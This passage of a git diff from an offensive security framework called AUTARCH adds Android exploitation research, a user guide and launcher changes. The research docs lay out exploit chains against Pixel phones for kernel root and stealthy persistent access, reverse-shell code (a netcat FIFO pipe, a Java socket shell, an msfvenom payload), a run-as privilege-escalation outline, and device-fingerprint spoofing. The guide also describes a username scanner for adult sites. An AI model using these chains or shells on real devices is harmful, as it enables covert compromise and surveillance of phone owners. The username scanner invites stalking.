YES | YES | ? | NO | NO | Research only | +| CVE-2023-20938 (Binder) | YES | YES | NO | NO | NO | No public | +| CVE-2024-53104 (UVC) | YES | YES | YES | YES | YES | Post-patch PoC | +| CVE-2024-32896 (Pixel FW) | - | - | YES | NO | NO | No public | +| CVE-2024-43093 (Framework) | YES | YES | YES | YES | - | No public | + +*CVE-2025-0072 on A16 (Pixel 9a): depends on shipping ASB; needs verification. +A16 is very new and patch status in field likely current. + +--- + +## RECOMMENDED AUTARCH EXPLOIT CHAIN FOR PIXEL 6/7/8 (Android 12-14) + +**Goal: Read arbitrary app data from ADB shell (UID 2000)** + +1. Check Android version + ASB via `getprop ro.build.version.security_patch` +2. If Android 12/13 unpatched (pre-March 2024): CVE-2024-0044 directly +3. If Android 12-14 unpatched (pre-March 2024): CVE-2024-31317 via WRITE_SECURE_SETTINGS +4. If Android 14 (Oct/Nov 2023 ASB) on Pixel 7/8: Pixel_GPU_Exploit (CVE-2023-6241) +5. For Mali-equipped devices on older ASBs: chain info-leak + integer overflow + +**Goal: Temporary root with bootloader unlock** + +1. `fastboot boot magisk_patched_init_boot.img` +2. Inside rooted boot: extract data, disable SELinux (`setenforce 0`), persist if needed +3. Reboot to stock — no permanent change to device flash + +--- + +## RECOMMENDED AUTARCH EXPLOIT CHAIN FOR PIXEL 8/9 (Android 15/16) + +**Goal: Kernel root from untrusted app, no bootloader unlock** + +Prerequisite check (run via ADB before selecting path): +```sh +getprop ro.build.version.release # Android major version +getprop ro.build.version.security_patch # YYYY-MM-DD +getprop ro.hardware.chiptype # tensor / qcom +``` + +Path A — CVE-2025-0072 (Mali CSF UAF), ASB < 2025-05-05, Pixel 7/8/9: +- Deliver exploit app via ADB or sideload +- No PoC is fully weaponized/turnkey; requires port of GitHub Blog PoC + kernel offset calculation +- Full chain: app spawn -> Mali IOCTL sequence -> UAF -> PGD hijack -> kernel R/W -> root +- Reliability: MEDIUM (offset-dependent, like 0x36 predecessor) +- Stealth: LOW (kernel exploit, may trigger watchdog/audit) + +Path B — CVE-2025-48543 (ART UAF), ASB < 2025-09-05, Android 13-16: +- Deliver exploit APK, trigger ART UAF from malicious app +- Achieves: system UID — useful for disabling MDM, accessing system-app data +- Does NOT directly give root, but system UID can call many privileged APIs +- PoC quality uncertain (gamesarchive repo) — may need significant weaponization +- Reliability: LOW-MEDIUM (PoC exists but untested in AUTARCH context) + +Path C — fastboot boot (any Android 15/16 device with unlocked bootloader): +- `fastboot boot magisk_patched_init_boot.img` or KernelSU equivalent +- Full root achieved, SELinux can be set permissive +- Reliability: HIGH +- Stealth: LOW (bootloader unlock state is visible, triggers Play Integrity failure) + +Path D — avbroot + KernelSU + relock (long-term persistent root, stealthy): +- Best for authorized assessments requiring persistent access +- Device appears to have locked bootloader to casual inspection +- Survives OS-level factory reset attempts +- Play Integrity still fails (custom AVB key not trusted by Google) +- Reliability: HIGH on Pixel 4+ +- Stealth: MODERATE (DM-verity green, but Play Integrity Hardware attestation fails) + +--- + +## KEY REFERENCES + +- 0x36 GPU exploit repo: https://github.com/0x36/Pixel_GPU_Exploit +- bad_io_uring PoC: https://github.com/Markakd/bad_io_uring +- CVE-2024-0044 PoC: https://github.com/0xbinder/CVE-2024-0044 +- CVE-2024-31317 writeup: https://blog.flanker017.me/cve-2024-31317/ +- Binder UAF analysis: https://androidoffsec.withgoogle.com/posts/attacking-android-binder-analysis-and-exploitation-of-cve-2023-20938/ +- MTE bypass (CVE-2025-0072): https://github.blog/security/vulnerability-research/bypassing-mte-with-cve-2025-0072/ +- CVE-2025-48543 PoC: https://github.com/gamesarchive/CVE-2025-48543 +- Chronomaly (CVE-2025-38352): https://github.com/farazsth98/chronomaly +- CVE-2025-38352 PoC: https://github.com/farazsth98/poc-CVE-2025-38352 +- avbroot tool: https://github.com/chenxiaolong/avbroot +- PixelFlasher tool: https://github.com/badabing2005/PixelFlasher +- KernelSU-Next: https://github.com/KernelSU-Next/KernelSU-Next +- Linux kernel exploit list: https://github.com/xairy/linux-kernel-exploitation +- Dec 2025 ASB zero-days: https://source.android.com/docs/security/bulletin/2025-12-01 +- Mar 2026 ASB: https://www.helpnetsecurity.com/2026/03/03/android-march-2026-security-patch-cve-2026-21385/ diff --git a/docs/quick_start.md b/docs/quick_start.md new file mode 100644 index 0000000..96463f9 --- /dev/null +++ b/docs/quick_start.md @@ -0,0 +1,588 @@ +# AUTARCH User Guide + +## Project Overview + +**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**. + +### What We Built + +AUTARCH is a modular Python security framework featuring: + +- **LLM Integration** - Local AI via llama.cpp for autonomous assistance +- **Autonomous Agent** - AI agent that can execute tools and complete tasks +- **Metasploit Integration** - Direct MSF RPC control from within the framework +- **Modular Architecture** - Plugin-based system for easy extension +- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate + +--- + +## Project Structure + +``` +dh_framework/ +├── autarch.py # Main entry point +├── autarch_settings.conf # Configuration file +├── custom_adultsites.json # Custom adult sites storage +├── custom_sites.inf # Bulk import file +├── DEVLOG.md # Development log +├── GUIDE.md # This guide +│ +├── core/ # Core framework modules +│ ├── __init__.py +│ ├── agent.py # Autonomous AI agent +│ ├── banner.py # ASCII banner and colors +│ ├── config.py # Configuration handler +│ ├── llm.py # LLM wrapper (llama-cpp-python) +│ ├── menu.py # Main menu system +│ ├── msf.py # Metasploit RPC client +│ └── tools.py # Agent tool registry +│ +└── modules/ # User-facing modules + ├── __init__.py + ├── setup.py # First-time setup wizard + ├── chat.py # Interactive LLM chat (core) + ├── agent.py # Agent interface (core) + ├── msf.py # Metasploit interface (offense) + ├── defender.py # System hardening (defense) + ├── counter.py # Threat detection (counter) + ├── analyze.py # Forensics tools (analyze) + ├── recon.py # OSINT reconnaissance (osint) + ├── adultscan.py # Adult site scanner (osint) + └── simulate.py # Attack simulation (simulate) +``` + +--- + +## Installation & Setup + +### Requirements + +- Python 3.8+ +- llama-cpp-python (pre-installed) +- A GGUF model file for LLM features +- Metasploit Framework (optional, for MSF features) + +### First Run + +```bash +cd /home/snake/dh_framework +python autarch.py +``` + +On first run, the setup wizard automatically launches with options: +1. **Configure LLM** - Set up model for chat & agent features +2. **Skip Setup** - Use without LLM (most modules still work) + +### Running Without LLM + +Many modules work without an LLM configured: + +```bash +# Skip setup on first run +python autarch.py --skip-setup +``` + +**Modules that work without LLM:** +- defender (Defense) - System hardening checks +- counter (Counter) - Threat detection +- analyze (Analyze) - File forensics +- recon (OSINT) - Email, username, domain lookup +- adultscan (OSINT) - Adult site scanner +- simulate (Simulate) - Port scan, payloads +- msf (Offense) - Metasploit interface + +**Modules that require LLM:** +- chat - Interactive LLM chat +- agent - Autonomous AI agent + +You can configure LLM later with `python autarch.py --setup` + +--- + +## Command Line Interface + +### Basic Usage + +```bash +python autarch.py [OPTIONS] [COMMAND] +``` + +### Options + +| Option | Description | +|--------|-------------| +| `-h, --help` | Show help message and exit | +| `-v, --version` | Show version information | +| `-c, --config FILE` | Use alternate config file | +| `--skip-setup` | Skip first-time setup (run without LLM) | +| `-m, --module NAME` | Run a specific module directly | +| `-l, --list` | List all available modules | +| `--setup` | Force run the setup wizard | +| `--no-banner` | Suppress the ASCII banner | +| `-q, --quiet` | Minimal output mode | + +### Commands + +| Command | Description | +|---------|-------------| +| `chat` | Start interactive LLM chat | +| `agent` | Start the autonomous agent | +| `scan ` | Quick port scan | +| `osint ` | Quick username OSINT | + +### Examples + +```bash +# Show help +python autarch.py --help + +# Run a specific module +python autarch.py -m chat +python autarch.py -m adultscan + +# List all modules +python autarch.py --list + +# Quick OSINT scan +python autarch.py osint targetuser + +# Re-run setup +python autarch.py --setup +``` + +--- + +## Main Menu Navigation + +### Menu Structure + +``` + Main Menu + ────────────────────────────────────────────────── + + [1] Defense - Defensive security tools + [2] Offense - Penetration testing + [3] Counter - Counter-intelligence + [4] Analyze - Analysis & forensics + [5] OSINT - Open source intelligence + [6] Simulate - Attack simulation + + [99] Settings + [98] Exit +``` + +### Category Details + +#### [1] Defense +System hardening and defensive security: +- Full Security Audit +- Firewall Check +- SSH Hardening +- Open Ports Scan +- User Security Check +- File Permissions Audit +- Service Audit + +#### [2] Offense +Penetration testing with Metasploit: +- Search Modules +- Use/Configure Modules +- Run Exploits +- Manage Sessions +- Console Commands +- Quick Scanners + +#### [3] Counter +Counter-intelligence and threat hunting: +- Full Threat Scan +- Suspicious Process Detection +- Network Analysis +- Login Anomalies +- File Integrity Monitoring +- Scheduled Task Audit +- Rootkit Detection + +#### [4] Analyze +Forensics and file analysis: +- File Analysis (metadata, hashes, type) +- String Extraction +- Hash Lookup (VirusTotal, Hybrid Analysis) +- Log Analysis +- Hex Dump Viewer +- File Comparison + +#### [5] OSINT +Open source intelligence gathering: +- **recon.py** - Email, username, phone, domain, IP lookup +- **adultscan.py** - Adult site username scanner + +#### [6] Simulate +Attack simulation and red team: +- Password Audit +- Port Scanner +- Banner Grabber +- Payload Generator (XSS, SQLi, etc.) +- Network Stress Test + +--- + +## Module Reference + +### Core Modules + +#### chat.py - Interactive Chat +``` +Category: core +Commands: + /help - Show available commands + /clear - Clear conversation history + /history - Show conversation history + /info - Show model information + /system - Set system prompt + /temp - Set temperature + /tokens - Set max tokens + /stream - Toggle streaming + /exit - Exit chat +``` + +#### agent.py - Autonomous Agent +``` +Category: core +Commands: + tools - Show available tools + exit - Return to main menu + help - Show help + +Available Tools: + shell - Execute shell commands + read_file - Read file contents + write_file - Write to files + list_dir - List directory contents + search_files - Glob pattern search + search_content - Content search (grep) + task_complete - Signal completion + ask_user - Request user input + msf_* - Metasploit tools +``` + +### OSINT Modules + +#### recon.py - OSINT Reconnaissance +``` +Category: osint +Version: 2.0 + +Menu: + Email + [1] Email Lookup + [2] Email Permutator + + Username + [3] Username Lookup (17+ platforms) + [4] Social Analyzer integration + + Phone + [5] Phone Number Lookup + + Domain/IP + [6] Domain Recon + [7] IP Address Lookup + [8] Subdomain Enumeration + [9] Technology Detection +``` + +#### adultscan.py - Adult Site Scanner +``` +Category: osint +Version: 1.3 + +Menu: + Scan Categories: + [1] Full Scan (all categories) + [2] Fanfiction & Story Sites + [3] Art & Creative Sites + [4] Video & Streaming Sites + [5] Forums & Communities + [6] Dating & Social Sites + [7] Gaming Related Sites + [8] Custom Sites Only + [9] Custom Category Selection + + Site Management: + [A] Add Custom Site (manual) + [D] Auto-Detect Site Pattern + [B] Bulk Import from File + [M] Manage Custom Sites + [L] List All Sites + +Sites Database: 50+ built-in sites +Categories: fanfiction, art, video, forums, dating, gaming, custom +``` + +##### Adding Custom Sites + +**Manual Add [A]:** +``` +Site name: MySite +URL pattern (use * for username): mysite.com/user/* +Detection Method: [1] Status code +``` + +**Auto-Detect [D]:** +``` +Domain: example.com +Test username: knownuser +(System probes 17 common patterns) +``` + +**Bulk Import [B]:** + +1. Edit `custom_sites.inf`: +``` +# One domain per line +site1.com +site2.net +site3.org +``` + +2. Run Bulk Import and provide test username +3. System auto-detects patterns for each domain + +--- + +## Configuration + +### Config File: autarch_settings.conf + +```ini +[llama] +model_path = /path/to/model.gguf +n_ctx = 4096 +n_threads = 4 +n_gpu_layers = 0 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 2048 +seed = -1 + +[autarch] +first_run = false +modules_path = modules +verbose = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = +ssl = true +``` + +### LLM Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| model_path | (required) | Path to GGUF model file | +| n_ctx | 4096 | Context window size | +| n_threads | 4 | CPU threads for inference | +| n_gpu_layers | 0 | Layers to offload to GPU | +| temperature | 0.7 | Sampling temperature (0.0-2.0) | +| top_p | 0.9 | Nucleus sampling threshold | +| top_k | 40 | Top-K sampling | +| repeat_penalty | 1.1 | Repetition penalty | +| max_tokens | 2048 | Maximum response length | +| seed | -1 | Random seed (-1 = random) | + +### Metasploit Settings + +| Setting | Default | Description | +|---------|---------|-------------| +| host | 127.0.0.1 | MSF RPC host | +| port | 55553 | MSF RPC port | +| username | msf | RPC username | +| password | (none) | RPC password | +| ssl | true | Use SSL connection | + +**Starting msfrpcd:** +```bash +msfrpcd -P yourpassword -S -a 127.0.0.1 +``` + +--- + +## Creating Custom Modules + +### Module Template + +```python +""" +Module description here +""" + +# Module metadata (required) +DESCRIPTION = "Short description" +AUTHOR = "Your Name" +VERSION = "1.0" +CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +def run(): + """Main entry point - REQUIRED""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}My Module{Colors.RESET}") + # Your code here + + +if __name__ == "__main__": + run() +``` + +### Available Colors + +```python +from core.banner import Colors + +Colors.RED +Colors.GREEN +Colors.YELLOW +Colors.BLUE +Colors.MAGENTA +Colors.CYAN +Colors.WHITE +Colors.BOLD +Colors.DIM +Colors.RESET +``` + +### Module Categories + +| Category | Color | Description | +|----------|-------|-------------| +| defense | Blue | Defensive security | +| offense | Red | Penetration testing | +| counter | Magenta | Counter-intelligence | +| analyze | Cyan | Forensics & analysis | +| osint | Green | Open source intelligence | +| simulate | Yellow | Attack simulation | +| core | White | Core framework modules | + +--- + +## Agent Tools Reference + +The autonomous agent has access to these tools: + +### File Operations +``` +read_file(path) - Read file contents +write_file(path, content) - Write to file +list_dir(path) - List directory +search_files(pattern) - Glob search +search_content(pattern) - Grep search +``` + +### System Operations +``` +shell(command, timeout) - Execute shell command +``` + +### User Interaction +``` +ask_user(question) - Prompt user for input +task_complete(result) - Signal task completion +``` + +### Metasploit Operations +``` +msf_connect() - Connect to MSF RPC +msf_search(query) - Search modules +msf_module_info(module) - Get module info +msf_module_options(module) - Get module options +msf_execute(module, options) - Execute module +msf_sessions() - List sessions +msf_session_command(id, cmd) - Run session command +msf_console(command) - Direct console +``` + +--- + +## Troubleshooting + +### Common Issues + +**LLM not loading:** +- Verify model_path in autarch_settings.conf +- Check file permissions on model file +- Ensure sufficient RAM for model size + +**MSF connection failed:** +- Verify msfrpcd is running: `msfrpcd -P password -S` +- Check host/port in settings +- Verify password is correct + +**Module not appearing:** +- Ensure module has `CATEGORY` attribute +- Ensure module has `run()` function +- Check for syntax errors + +**Adult scanner false positives:** +- Some sites return 200 for all requests +- Use content-based detection for those sites +- Verify with a known username + +### Debug Mode + +```bash +# Enable verbose output +python autarch.py --verbose + +# Check configuration +python autarch.py --show-config +``` + +--- + +## Security Notice + +AUTARCH is designed for **authorized security testing only**. Users are responsible for: + +- Obtaining proper authorization before testing +- Complying with all applicable laws +- Using tools ethically and responsibly + +**Do not use for:** +- Unauthorized access +- Harassment or stalking +- Any illegal activities + +--- + +## Version History + +| Version | Date | Changes | +|---------|------|---------| +| 1.0 | 2026-01-14 | Initial release | +| 1.1 | 2026-01-14 | Added custom site management | +| 1.2 | 2026-01-14 | Added auto-detect patterns | +| 1.3 | 2026-01-14 | Added bulk import | + +--- + +## Credits + +**Project AUTARCH** +By darkHal Security Group and Setec Security Labs + +--- + +*For development history, see DEVLOG.md* diff --git a/docs/research.md b/docs/research.md new file mode 100644 index 0000000..83b8e82 --- /dev/null +++ b/docs/research.md @@ -0,0 +1,293 @@ +# Archon Research — Consolidated Findings +## darkHal Security Group — Project AUTARCH +**Last Updated:** 2026-02-20 + +--- + +## 1. On-Device LLM Engines + +### SmolChat-Android (Recommended) +- **Source:** https://github.com/shubham0204/SmolChat-Android +- **License:** Apache 2.0 +- **Stack:** Kotlin + llama.cpp JNI bindings +- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API +- **Model format:** GGUF (huge ecosystem on HuggingFace) +- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds +- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata +- **What it doesn't have:** No tool-calling — we add that via Koog (below) +- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality) +- **Status:** Best choice for inference engine. Embed `smollm` module into Archon. + +### mllm +- **Source:** https://github.com/UbiquitousLearning/mllm +- **License:** MIT +- **Stack:** C++20 custom engine +- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration +- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF) +- **Drawback:** Much harder to integrate, custom format limits model selection +- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration. + +--- + +## 2. AI Agent Frameworks + +### Koog AI (Recommended for Archon) +- **Source:** https://docs.koog.ai/ +- **License:** Apache 2.0 (JetBrains) +- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android +- **Key features:** + - 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic) + - First-class tool-calling with class-based tools (works on Android) + - Agent memory, persistence, checkpoints, history compression + - Structured output via kotlinx.serialization + - GOAP planner (A* search for action planning — game AI technique) + - MCP integration (discover/use external tools) + - Multi-agent: agents-as-tools, agent-to-agent protocol +- **Version:** 0.6.2 +- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency +- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke) +- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation. + +### SmolChat + Koog Combo +- SmolChat provides the on-device inference engine (GGUF/llama.cpp) +- Koog provides the agent framework (tools, planning, memory, structured output) +- Together: fully autonomous, fully offline security AI agent on the phone +- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend + +### GitHub Copilot SDK +- **Source:** https://github.com/github/copilot-sdk +- **License:** MIT (SDK), proprietary (CLI binary ~61MB) +- **Stack:** Python/TypeScript/Go/.NET SDKs +- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists +- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built. +- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored. + +--- + +## 3. ADB Exploitation & Automation + +### PhoneSploit-Pro +- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro +- **License:** GPL-3.0 +- **What:** Python ADB automation framework (40+ exploits/actions) +- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing +- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule. +- **Status:** Reference material. We implement our own versions with better safety controls. + +--- + +## 4. Android Reverse Shell Techniques + +### Technique 1: Java ProcessBuilder + Socket (Our Approach) +```java +// Connect back to server, pipe shell I/O over socket +Socket socket = new Socket(serverIp, serverPort); +ProcessBuilder pb = new ProcessBuilder("sh"); +Process process = pb.start(); +// Forward process stdin/stdout over socket +``` +- **Privilege:** Runs at whatever UID the process has +- **Our twist:** Run via `app_process` at UID 2000 (shell level) +- **Advantage:** No external tools needed, pure Java, clean control flow + +### Technique 2: Netcat + FIFO +```bash +mkfifo /data/local/tmp/f +cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f +``` +- **Requires:** `nc` (netcat) available on device +- **Advantage:** Simple, works from any shell +- **Disadvantage:** No auth, no encryption, no special commands + +### Technique 3: msfvenom Payloads +```bash +msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk +``` +- **Generates:** Standalone APK with Meterpreter payload +- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https +- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency +- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist + +--- + +## 5. Android Privilege Escalation + +### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14) +- **Disclosed by:** Meta security researchers +- **Severity:** Critical — full root access on unpatched devices +- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15) +- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system). +- **Steps:** + 1. Shell can write to `/data/local/tmp/` + 2. Exploit the TOCTOU race in how `run-as` reads package info + 3. `run-as` runs as UID 2000 but switches context to target UID +- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot). + +### Shell-Level Capabilities (UID 2000) +Full command access without root: +- `pm` — install, uninstall, disable, grant/revoke permissions +- `am` — start activities, broadcast, force-stop processes +- `settings` — read/write system, secure, global settings +- `dumpsys` — dump any system service state +- `cmd` — direct commands to system services (appops, jobscheduler, connectivity) +- `content` — query/modify content providers (contacts, SMS, call log) +- `service call` — raw Binder IPC (clipboard, etc.) +- `input` — inject touch/key events (UI automation) +- `screencap`/`screenrecord` — capture display +- `svc` — control wifi, data, power, USB, NFC +- `dpm` — device policy manager (remove device admins) +- `logcat` — system logs +- `run-as` — switch to debuggable app context + +### What Shell CANNOT Do (Root Required) +- Write to /system, /vendor, /product +- `setenforce 0` (set SELinux permissive) +- Access other apps' /data/data/ directly +- Load/unload kernel modules +- iptables/nftables (CAP_NET_ADMIN) +- Mount/unmount filesystems + +--- + +## 6. Anti-Forensics (Anti-Cellebrite) + +Cellebrite UFED and similar forensic tools attack vectors: +- ADB exploitation (need ADB enabled or USB exploit) +- Bootloader-level extraction +- Known CVE exploitation chains +- Content provider dumping + +### Shell-Level Defenses +```bash +# USB Lockdown +svc usb setFunctions charging +settings put global adb_enabled 0 + +# Detect Cellebrite (known USB vendor IDs, rapid content query storms) +# Monitor USB events: /proc/bus/usb/devices + +# Emergency data protection on forensic detection: +# - Revoke all app permissions +# - Clear clipboard (service call clipboard) +# - Force-stop sensitive apps +# - Disable USB debugging +# - Change lock to maximum security +``` + +### Architecture for Archon +- Background monitoring thread: USB events + logcat +- Forensic tool USB vendor ID database +- Configurable responses: lockdown / alert / wipe sensitive / plant decoys +- "Duress PIN" concept: specific PIN triggers data protection + +--- + +## 7. Anti-Spyware (Anti-Pegasus) + +NSO Group's Pegasus and similar state-level spyware use: +- Zero-click exploits via iMessage, WhatsApp, SMS +- Kernel exploits for persistence +- Memory-only implants (no files on disk) + +### Shell-Level Monitoring +```bash +# Suspicious process detection +dumpsys activity processes | grep -i "pegasus\|chrysaor" + +# Hidden processes (deleted exe links = classic implant pattern) +cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted" + +# Exploit indicators in logs +logcat -d | grep -iE "exploit|overflow|heap|spray|jit" + +# Unauthorized root checks +ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null +cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive + +# Certificate injection (MITM) +ls /data/misc/user/0/cacerts-added/ 2>/dev/null + +# Known spyware package patterns +pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier" +``` + +### Archon Shield Integration +- Periodic background scans (configurable interval) +- Known C2 IP/domain database (updated from AUTARCH server) +- Process anomaly detection (unexpected UIDs, deleted exe links) +- Network connection monitoring against threat intel + +--- + +## 8. Device Fingerprint Manipulation + +### Play Integrity Levels +1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing +2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile +3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level) + +### Shell-Level Spoofing +```bash +# Android ID rotation +settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16) + +# Build fingerprint spoofing +setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys" +setprop ro.product.model "Pixel 6 Pro" + +# "Old device" trick (bypass hardware attestation requirement) +setprop ro.product.first_api_level 28 # Pretend shipped with Android 9 +``` + +### Donor Key Approach +- Valid attestation certificate chains from donor devices could theoretically be replayed +- Keys are burned into TEE/SE at factory +- Google revokes leaked keys quickly +- Legally/ethically complex — research only + +--- + +## 9. Samsung S20/S21 Specifics (TODO) + +### JTAG/Debug Access +- JTAG pinpoints and schematics for S20/S21 hardware debugging +- Bootloader weakness analysis (Samsung Knox, secure boot chain) +- Secureboot partition dumping techniques + +### Hardening Guide +- Samsung-specific security settings and Knox configuration +- Tool section for Samsung devices + +**Status:** Research needed — not yet documented. + +--- + +## 10. Future: LLM Suite Architecture + +### Recommended Stack +``` +┌──────────────────────────────────────┐ +│ Koog AI Agent Layer │ +│ (tools, GOAP planner, memory) │ +├──────────────────────────────────────┤ +│ SmolChat smollm Module │ +│ (GGUF inference, llama.cpp JNI) │ +├──────────────────────────────────────┤ +│ Security Tools (Kotlin) │ +│ (ScanPackagesTool, │ +│ RestrictTrackerTool, etc.) │ +├──────────────────────────────────────┤ +│ PrivilegeManager │ +│ (ROOT/ARCHON_SERVER/ADB/NONE) │ +└──────────────────────────────────────┘ +``` + +### Integration Steps +1. Add `smollm` as module dependency (embeds llama.cpp JNI) +2. Add `koog-agents` Gradle dependency +3. Define security tools as Koog class-based tools +4. Create "Security Guardian" agent with GOAP planner +5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server +6. Agent autonomously monitors and responds to threats + +**Status:** Future phase — implement after reverse shell is complete. diff --git a/launcher.py b/launcher.py old mode 100755 new mode 100644 index d9b252a..50b06b6 --- a/launcher.py +++ b/launcher.py @@ -1,545 +1,28 @@ #!/usr/bin/env python3 -"""AUTARCH Desktop Launcher""" +"""AUTARCH Desktop Launcher — platform dispatcher. -import gi -gi.require_version('Gtk', '3.0') -from gi.repository import Gtk, GdkPixbuf, GLib, Pango -import subprocess, os, sys, signal, configparser, json, threading, time -from pathlib import Path +Picks the right launcher implementation for the current OS: + - Linux: launcher_linux.py (GTK3 + pkexec daemon) + - Windows: launcher_windows.py (Tkinter + UAC elevation) -DIR = Path(__file__).parent -CONF = DIR / 'autarch_settings.conf' -LOGO = DIR / 'assets' / 'logo.png' -SPLASH_FLAG = DIR / 'data' / '.splash_accepted' -VENV_PY = DIR / 'venv' / 'bin' / 'python' -SYS_PY = 'python3' -DAEMON_SOCK = '/var/run/autarch-daemon.sock' - -_web_proc = None -_daemon_proc = None - - -def get_py(): - return str(VENV_PY) if VENV_PY.exists() else SYS_PY - - -def is_daemon_running(): - return os.path.exists(DAEMON_SOCK) - - -def is_web_running(): - global _web_proc - return _web_proc is not None and _web_proc.poll() is None - - -def start_daemon(): - global _daemon_proc - if is_daemon_running(): - return True - try: - py = get_py() - daemon_script = str(DIR / 'core' / 'daemon.py') - - if os.environ.get('DISPLAY') or os.environ.get('WAYLAND_DISPLAY'): - # Use pkexec with a wrapper that backgrounds the daemon. - # pkexec runs the command and waits, so we use bash -c to fork it. - _daemon_proc = subprocess.Popen([ - 'pkexec', 'bash', '-c', - f'{py} {daemon_script} &' - ]) - # Wait for pkexec to finish (just the auth + fork, not the daemon itself) - _daemon_proc.wait(timeout=60) - else: - _daemon_proc = subprocess.Popen(['sudo', py, daemon_script]) - - # Give the daemon a moment to create the socket - for _ in range(10): - time.sleep(0.5) - if is_daemon_running(): - return True - return is_daemon_running() - except subprocess.TimeoutExpired: - # User took too long on password dialog — that's ok - return is_daemon_running() - except Exception: - return False - - -def stop_daemon(): - global _daemon_proc - # Read PID from pidfile and kill it — one pkexec prompt max - pid = None - try: - with open('/var/run/autarch-daemon.pid') as f: - pid = int(f.read().strip()) - except Exception: - pass - - if pid: - # Single elevated call to kill the daemon — it cleans up its own files on shutdown - _elevate(['kill', str(pid)]) - # Wait for it to actually die - for _ in range(10): - time.sleep(0.3) - if not is_daemon_running(): - break - elif is_daemon_running(): - _elevate(['pkill', '-f', 'core/daemon.py']) - - _daemon_proc = None - - -def _elevate(cmd): - """Run a command with root privileges using pkexec (GUI) or sudo (terminal).""" - if os.environ.get('DISPLAY') or os.environ.get('WAYLAND_DISPLAY'): - return subprocess.run(['pkexec'] + cmd, capture_output=True) - return subprocess.run(['sudo'] + cmd, capture_output=True) - - -def start_web(): - global _web_proc - if is_web_running(): - return True - _web_proc = subprocess.Popen([get_py(), str(DIR / 'autarch.py'), '--web', '--no-banner']) - return True - - -def stop_web(): - global _web_proc - if _web_proc: - _web_proc.terminate() - try: - _web_proc.wait(timeout=5) - except subprocess.TimeoutExpired: - _web_proc.kill() - _web_proc = None - subprocess.run(['pkill', '-f', 'autarch.py --web'], capture_output=True) - - -def stop_all(): - stop_web() - stop_daemon() - - -# ── Splash Screen ───────────────────────────────────────────────────────────── - -EULA_TEXT = """AUTARCH — Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking -By darkHal Security Group & Setec Security Labs - -END USER LICENSE AGREEMENT - -1. DISCLAIMER OF WARRANTY -This software is provided "AS IS" without warranty of any kind, express or implied. The authors make no guarantees regarding functionality, reliability, or fitness for any particular purpose. Use at your own risk. - -2. LIMITATION OF LIABILITY -In no event shall darkHal Security Group, Setec Security Labs, or any contributors be held liable for any damages whatsoever arising from the use of this software, including but not limited to direct, indirect, incidental, special, or consequential damages. - -3. AUTHORIZED USE ONLY -This software is designed for authorized security testing and research. You are solely responsible for ensuring you have proper authorization before testing any system. Unauthorized access to computer systems is illegal. - -4. LICENSE -Unless otherwise noted on a module, tool, addon, or extension: - • This software is FREE for personal/home use - • This software is FREE to give away (unmodified) for home use - • Commercial use is NOT permitted without a commercial license - • Government use is PROHIBITED — however, a single-day user license may be purchased for the deed to half of the United States of America, or $10,000 USD per minute of use, whichever is greater - -5. NO RESPONSIBILITY -We are not responsible for what you do with this software. If you break the 